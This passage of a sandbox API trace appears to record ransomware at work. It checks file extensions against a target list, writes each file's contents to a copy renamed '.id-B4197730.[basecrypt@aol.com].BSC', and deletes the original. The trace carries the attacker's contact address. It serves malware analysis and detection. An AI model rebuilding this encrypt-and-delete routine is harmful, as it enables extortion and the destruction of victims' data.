(lpString1=".bz2", lpString2=".xml") returned -1 [0102.146] lstrlenW (lpString=".7z") returned 3 [0102.146] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0102.146] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml") returned 44 [0102.146] lstrlenW (lpString=".dbf") returned 4 [0102.146] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0102.146] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml") returned 44 [0102.146] lstrlenW (lpString=".1cd") returned 4 [0102.146] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0102.146] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml") returned 44 [0102.146] lstrlenW (lpString=".jpg") returned 4 [0102.146] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0102.147] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml") returned 44 [0102.147] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml") returned 44 [0102.147] lstrlenW (lpString=".doc") returned 4 [0102.147] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0102.147] lstrlenW (lpString=".docx") returned 5 [0102.147] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0102.147] lstrlenW (lpString=".pdf") returned 4 [0102.147] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0102.147] lstrlenW (lpString=".xls") returned 4 [0102.147] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0102.147] lstrlenW (lpString=".xlsx") returned 5 [0102.147] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0102.147] lstrlenW (lpString=".ppt") returned 4 [0102.147] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0102.147] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml") returned 44 [0102.147] lstrlenW (lpString=".zip") returned 4 [0102.147] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0102.147] lstrlenW (lpString=".rar") returned 4 [0102.147] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0102.147] lstrlenW (lpString=".bz2") returned 4 [0102.147] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0102.147] lstrlenW (lpString=".7z") returned 3 [0102.147] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0102.147] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml") returned 44 [0102.147] lstrlenW (lpString=".dbf") returned 4 [0102.147] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0102.147] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml") returned 44 [0102.147] lstrlenW (lpString=".1cd") returned 4 [0102.148] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0102.148] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml") returned 44 [0102.148] lstrlenW (lpString=".jpg") returned 4 [0102.148] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0102.148] lstrcmpiW (lpString1=".rtf", lpString2=".BSC") returned 1 [0102.148] lstrlenW (lpString="eula.rtf") returned 8 [0102.148] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1032\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1032\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0102.177] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x37bff14 | out: lpFileSize=0x37bff14*=8876) returned 1 [0102.177] CloseHandle (hObject=0x340) returned 1 [0102.178] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1032\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1032\\eula.rtf")) returned 0x80 [0102.178] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1032\\eula.rtf.id-B4197730.[basecrypt@aol.com].BSC" (normalized: "c:\\588bce7c90097ed212\\1032\\eula.rtf.id-b4197730.[basecrypt@aol.com].bsc")) returned 0xffffffff [0102.178] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1032\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1032\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0102.178] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37bfec0 | out: lpNewFilePointer=0x0) returned 1 [0102.178] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37bfec0 | out: lpNewFilePointer=0x0) returned 1 [0102.178] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1032\\eula.rtf.id-B4197730.[basecrypt@aol.com].BSC" (normalized: "c:\\588bce7c90097ed212\\1032\\eula.rtf.id-b4197730.[basecrypt@aol.com].bsc"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0102.179] GetLastError () returned 0x0 [0102.179] ReadFile (in: hFile=0x340, lpBuffer=0x4172020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37bfecc, lpOverlapped=0x0 | out: lpBuffer=0x4172020*, lpNumberOfBytesRead=0x37bfecc*=0x22ac, lpOverlapped=0x0) returned 1 [0102.386] WriteFile (in: hFile=0x334, lpBuffer=0x4172020*, nNumberOfBytesToWrite=0x22b0, lpNumberOfBytesWritten=0x37bfc94, lpOverlapped=0x0 | out: lpBuffer=0x4172020*, lpNumberOfBytesWritten=0x37bfc94*=0x22b0, lpOverlapped=0x0) returned 1 [0102.388] ReadFile (in: hFile=0x340, lpBuffer=0x4172020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37bfecc, lpOverlapped=0x0 | out: lpBuffer=0x4172020*, lpNumberOfBytesRead=0x37bfecc*=0x0, lpOverlapped=0x0) returned 1 [0102.388] WriteFile (in: hFile=0x334, lpBuffer=0x4172020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x37bfc94, lpOverlapped=0x0 | out: lpBuffer=0x4172020*, lpNumberOfBytesWritten=0x37bfc94*=0xe4, lpOverlapped=0x0) returned 1 [0102.388] SetEndOfFile (hFile=0x334) returned 1 [0102.388] CloseHandle (hObject=0x334) returned 1 [0102.392] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37bfec0 | out: lpNewFilePointer=0x0) returned 1 [0102.392] SetEndOfFile (hFile=0x340) returned 1 [0102.393] CloseHandle (hObject=0x340) returned 1 [0102.394] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1032\\eula.rtf.id-B4197730.[basecrypt@aol.com].BSC", dwFileAttributes=0x80) returned 1 [0102.394] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1032\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1032\\eula.rtf")) returned 1 [0102.394] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\eula.rtf") returned 35 [0102.394] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\eula.rtf") returned 35 [0102.394] lstrlenW (lpString=".doc") returned 4 [0102.394] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0102.394] lstrlenW (lpString=".docx") returned 5 [0102.394] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0102.394] lstrlenW (lpString=".pdf") returned 4 [0102.394] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0102.394] lstrlenW (lpString=".xls") returned 4 [0102.395] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0102.395] lstrlenW (lpString=".xlsx") returned 5 [0102.395] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0102.395] lstrlenW (lpString=".ppt") returned 4 [0102.395] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0102.395] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\eula.rtf") returned 35 [0102.395] lstrlenW (lpString=".zip") returned 4 [0102.395] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0102.395] lstrlenW (lpString=".rar") returned 4 [0102.395] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0102.395] lstrlenW (lpString=".bz2") returned 4 [0102.395] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0102.395] lstrlenW (lpString=".7z") returned 3 [0102.395] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0102.395] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\eula.rtf") returned 35 [0102.395] lstrlenW (lpString=".dbf") returned 4 [0102.395] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0102.395] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\eula.rtf") returned 35 [0102.395] lstrlenW (lpString=".1cd") returned 4 [0102.395] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0102.395] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\eula.rtf") returned 35 [0102.395] lstrlenW (lpString=".jpg") returned 4 [0102.395] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0102.395] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\eula.rtf") returned 35 [0102.395] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\eula.rtf") returned 35 [0102.396] lstrlenW (lpString=".doc") returned 4 [0102.396] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0102.396] lstrlenW (lpString=".docx") returned 5 [0102.396] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0102.396] lstrlenW (lpString=".pdf") returned 4 [0102.396] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0102.396] lstrlenW (lpString=".xls") returned 4 [0102.396] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0102.396] lstrlenW (lpString=".xlsx") returned 5 [0102.396] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0102.396] lstrlenW (lpString=".ppt") returned 4 [0102.396] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0102.396] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\eula.rtf") returned 35 [0102.396] lstrlenW (lpString=".zip") returned 4 [0102.396] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0102.396] lstrlenW (lpString=".rar") returned 4 [0102.396] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0102.396] lstrlenW (lpString=".bz2") returned 4 [0102.396] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0102.396] lstrlenW (lpString=".7z") returned 3 [0102.396] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0102.396] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\eula.rtf") returned 35 [0102.396] lstrlenW (lpString=".dbf") returned 4 [0102.396] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0102.396] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\eula.rtf") returned 35 [0102.396] lstrlenW (lpString=".1cd") returned 4 [0102.396] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0102.397] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\eula.rtf") returned 35 [0102.397] lstrlenW (lpString=".jpg") returned 4 [0102.397] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0102.397] lstrcmpiW (lpString1=".rtf", lpString2=".BSC") returned 1 [0102.397] lstrlenW (lpString="eula.rtf") returned 8 [0102.397] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1033\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1033\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0102.397] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x37bff14 | out: lpFileSize=0x37bff14*=3188) returned 1 [0102.397] CloseHandle (hObject=0x340) returned 1 [0102.397] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1033\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1033\\eula.rtf")) returned 0x80 [0102.397] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1033\\eula.rtf.id-B4197730.[basecrypt@aol.com].BSC" (normalized: "c:\\588bce7c90097ed212\\1033\\eula.rtf.id-b4197730.[basecrypt@aol.com].bsc")) returned 0xffffffff [0102.398] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1033\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1033\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0102.398] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37bfec0 | out: lpNewFilePointer=0x0) returned 1 [0102.398] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37bfec0 | out: lpNewFilePointer=0x0) returned 1 [0102.398] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1033\\eula.rtf.id-B4197730.[basecrypt@aol.com].BSC" (normalized: "c:\\588bce7c90097ed212\\1033\\eula.rtf.id-b4197730.[basecrypt@aol.com].bsc"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0102.398] GetLastError () returned 0x0 [0102.398] ReadFile (in: hFile=0x340, lpBuffer=0x4172020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37bfecc, lpOverlapped=0x0 | out: lpBuffer=0x4172020*, lpNumberOfBytesRead=0x37bfecc*=0xc74, lpOverlapped=0x0) returned 1 [0102.416] WriteFile (in: hFile=0x334, lpBuffer=0x4172020*, nNumberOfBytesToWrite=0xc80, lpNumberOfBytesWritten=0x37bfc94, lpOverlapped=0x0 | out: lpBuffer=0x4172020*, lpNumberOfBytesWritten=0x37bfc94*=0xc80, lpOverlapped=0x0) returned 1 [0102.418] ReadFile (in: hFile=0x340, lpBuffer=0x4172020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37bfecc, lpOverlapped=0x0 | out: lpBuffer=0x4172020*, lpNumberOfBytesRead=0x37bfecc*=0x0, lpOverlapped=0x0) returned 1 [0102.418] WriteFile (in: hFile=0x334, lpBuffer=0x4172020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x37bfc94, lpOverlapped=0x0 | out: lpBuffer=0x4172020*, lpNumberOfBytesWritten=0x37bfc94*=0xe4, lpOverlapped=0x0) returned 1 [0102.418] SetEndOfFile (hFile=0x334) returned 1 [0102.418] CloseHandle (hObject=0x334) returned 1 [0102.420] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37bfec0 | out: lpNewFilePointer=0x0) returned 1 [0102.421] SetEndOfFile (hFile=0x340) returned 1 [0102.422] CloseHandle (hObject=0x340) returned 1 [0102.422] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1033\\eula.rtf.id-B4197730.[basecrypt@aol.com].BSC", dwFileAttributes=0x80) returned 1 [0102.422] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1033\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1033\\eula.rtf")) returned 1 [0102.422] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\eula.rtf") returned 35 [0102.422] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\eula.rtf") returned 35 [0102.422] lstrlenW (lpString=".doc") returned 4 [0102.423] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0102.423] lstrlenW (lpString=".docx") returned 5 [0102.423] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0102.423] lstrlenW (lpString=".pdf") returned 4 [0102.423] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0102.423] lstrlenW (lpString=".xls") returned 4 [0102.423] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0102.423] lstrlenW (lpString=".xlsx") returned 5 [0102.423] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0102.423] lstrlenW (lpString=".ppt") returned 4 [0102.423] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0102.423] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\eula.rtf") returned 35 [0102.423] lstrlenW (lpString=".zip") returned 4 [0102.423] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0102.423] lstrlenW (lpString=".rar") returned 4 [0102.423] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0102.423] lstrlenW (lpString=".bz2") returned 4 [0102.423] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0102.423] lstrlenW (lpString=".7z") returned 3 [0102.423] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0102.423] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\eula.rtf") returned 35 [0102.423] lstrlenW (lpString=".dbf") returned 4 [0102.423] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0102.423] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\eula.rtf") returned 35 [0102.423] lstrlenW (lpString=".1cd") returned 4 [0102.423] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0102.424] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\eula.rtf") returned 35 [0102.424] lstrlenW (lpString=".jpg") returned 4 [0102.424] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0102.424] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\eula.rtf") returned 35 [0102.424] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\eula.rtf") returned 35 [0102.424] lstrlenW (lpString=".doc") returned 4 [0102.424] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0102.424] lstrlenW (lpString=".docx") returned 5 [0102.424] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0102.424] lstrlenW (lpString=".pdf") returned 4 [0102.424] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0102.424] lstrlenW (lpString=".xls") returned 4 [0102.424] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0102.424] lstrlenW (lpString=".xlsx") returned 5 [0102.424] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0102.424] lstrlenW (lpString=".ppt") returned 4 [0102.424] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0102.424] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\eula.rtf") returned 35 [0102.424] lstrlenW (lpString=".zip") returned 4 [0102.424] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0102.424] lstrlenW (lpString=".rar") returned 4 [0102.424] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0102.424] lstrlenW (lpString=".bz2") returned 4 [0102.425] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0102.425] lstrlenW (lpString=".7z") returned 3 [0102.425] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0102.425] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\eula.rtf") returned 35 [0102.425] lstrlenW (lpString=".dbf") returned 4 [0102.425] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0102.425] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\eula.rtf") returned 35 [0102.425] lstrlenW (lpString=".1cd") returned 4 [0102.425] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0102.425] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\eula.rtf") returned 35 [0102.425] lstrlenW (lpString=".jpg") returned 4 [0102.425] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0102.425] lstrcmpiW (lpString1=".xml", lpString2=".BSC") returned 1 [0102.425] lstrlenW (lpString="LocalizedData.xml") returned 17 [0102.425] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1033\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0102.426] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x37bff14 | out: lpFileSize=0x37bff14*=77232) returned 1 [0102.426] CloseHandle (hObject=0x340) returned 1 [0102.426] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1033\\localizeddata.xml")) returned 0x80 [0102.426] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml.id-B4197730.[basecrypt@aol.com].BSC" (normalized: "c:\\588bce7c90097ed212\\1033\\localizeddata.xml.id-b4197730.[basecrypt@aol.com].bsc")) returned 0xffffffff [0102.426] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1033\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0102.426] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37bfec0 | out: lpNewFilePointer=0x0) returned 1 [0102.426] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37bfec0 | out: lpNewFilePointer=0x0) returned 1 [0102.426] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml.id-B4197730.[basecrypt@aol.com].BSC" (normalized: "c:\\588bce7c90097ed212\\1033\\localizeddata.xml.id-b4197730.[basecrypt@aol.com].bsc"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0102.426] GetLastError () returned 0x0 [0102.426] ReadFile (in: hFile=0x340, lpBuffer=0x4172020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37bfecc, lpOverlapped=0x0 | out: lpBuffer=0x4172020*, lpNumberOfBytesRead=0x37bfecc*=0x12db0, lpOverlapped=0x0) returned 1 [0102.573] WriteFile (in: hFile=0x334, lpBuffer=0x4172020*, nNumberOfBytesToWrite=0x12dc0, lpNumberOfBytesWritten=0x37bfc94, lpOverlapped=0x0 | out: lpBuffer=0x4172020*, lpNumberOfBytesWritten=0x37bfc94*=0x12dc0, lpOverlapped=0x0) returned 1 [0102.576] ReadFile (in: hFile=0x340, lpBuffer=0x4172020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37bfecc, lpOverlapped=0x0 | out: lpBuffer=0x4172020*, lpNumberOfBytesRead=0x37bfecc*=0x0, lpOverlapped=0x0) returned 1 [0102.576] WriteFile (in: hFile=0x334, lpBuffer=0x4172020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x37bfc94, lpOverlapped=0x0 | out: lpBuffer=0x4172020*, lpNumberOfBytesWritten=0x37bfc94*=0xf6, lpOverlapped=0x0) returned 1 [0102.576] SetEndOfFile (hFile=0x334) returned 1 [0102.576] CloseHandle (hObject=0x334) returned 1 [0102.581] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37bfec0 | out: lpNewFilePointer=0x0) returned 1 [0102.581] SetEndOfFile (hFile=0x340) returned 1 [0102.582] CloseHandle (hObject=0x340) returned 1 [0102.582] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml.id-B4197730.[basecrypt@aol.com].BSC", dwFileAttributes=0x80) returned 1 [0102.583] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1033\\localizeddata.xml")) returned 1 [0102.583] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml") returned 44 [0102.583] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml") returned 44 [0102.583] lstrlenW (lpString=".doc") returned 4 [0102.583] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0102.583] lstrlenW (lpString=".docx") returned 5 [0102.583] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0102.583] lstrlenW (lpString=".pdf") returned 4 [0102.583] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0102.583] lstrlenW (lpString=".xls") returned 4 [0102.583] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0102.583] lstrlenW (lpString=".xlsx") returned 5 [0102.583] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0102.583] lstrlenW (lpString=".ppt") returned 4 [0102.583] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0102.583] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml") returned 44 [0102.583] lstrlenW (lpString=".zip") returned 4 [0102.583] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0102.583] lstrlenW (lpString=".rar") returned 4 [0102.583] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0102.584] lstrlenW (lpString=".bz2") returned 4 [0102.584] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0102.584] lstrlenW (lpString=".7z") returned 3 [0102.584] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0102.584] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml") returned 44 [0102.584] lstrlenW (lpString=".dbf") returned 4 [0102.584] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0102.584] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml") returned 44 [0102.584] lstrlenW (lpString=".1cd") returned 4 [0102.584] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0102.584] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml") returned 44 [0102.584] lstrlenW (lpString=".jpg") returned 4 [0102.584] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0102.584] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml") returned 44 [0102.584] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml") returned 44 [0102.584] lstrlenW (lpString=".doc") returned 4 [0102.584] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0102.584] lstrlenW (lpString=".docx") returned 5 [0102.584] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0102.584] lstrlenW (lpString=".pdf") returned 4 [0102.584] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0102.584] lstrlenW (lpString=".xls") returned 4 [0102.584] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0102.584] lstrlenW (lpString=".xlsx") returned 5 [0102.584] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0102.584] lstrlenW (lpString=".ppt") returned 4 [0102.585] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0102.585] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml") returned 44 [0102.585] lstrlenW (lpString=".zip") returned 4 [0102.585] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0102.585] lstrlenW (lpString=".rar") returned 4 [0102.585] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0102.585] lstrlenW (lpString=".bz2") returned 4 [0102.585] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0102.585] lstrlenW (lpString=".7z") returned 3 [0102.585] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0102.585] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml") returned 44 [0102.585] lstrlenW (lpString=".dbf") returned 4 [0102.585] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0102.585] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml") returned 44 [0102.585] lstrlenW (lpString=".1cd") returned 4 [0102.585] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0102.585] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml") returned 44 [0102.585] lstrlenW (lpString=".jpg") returned 4 [0102.585] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0102.585] lstrcmpiW 